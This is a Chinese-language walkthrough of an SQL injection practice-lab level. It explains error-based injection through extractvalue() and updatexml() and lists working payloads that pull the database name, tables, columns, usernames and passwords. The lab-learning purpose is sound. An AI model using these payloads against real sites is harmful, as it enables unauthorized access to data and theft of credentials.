第十三关
输入1'出现报错信息,提示我们是单引号加括号闭合的
输入1') union select 1,2 #
但是发现没有登入成功返回信息 ,看来是要盲注了。
没有任何的返回信息,只有报错信息,那我们就用报错注入,让返回的报错信息包含我们的想要的信息
两个重要函数:updatexml() extractvalue ()
extractvalue()
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue( XML_document, XPath_string )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘
最大只能显示32个字符,所以要配合limit进行使用
updatexml()
作用:改变文档中符合条件的节点的值。
语法: updatexml( XML_document, XPath_string, new_value )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new_value,String格式,替换查找到的符合条件的数据
报错原理:同extractvalue()
我们构造报错
1')and extractvalue(1,concat(0x7e,(select database())))#
或者
1')and updatexml(1,concat(0x7e,(select database())),3)#
0x7e是~的意思,用concat拼接我们的sql语句,不符合xml文档的格式,就会报错,
爆表
1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#
最大只能显示32个字符,所以要配合limit进行使用,每次只能显示一个表名,limt0,1,limt1,1,limit2,1...
爆列
1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() limit 0,1)))#
爆用户名密码
1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#
或
1')and updatexml(1,concat(0x7e,(select username from users limit 0,1)),3)#
1')and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#
或
1')and updatexml(1,concat(0x7e,(select password from users limit 0,1)),3)#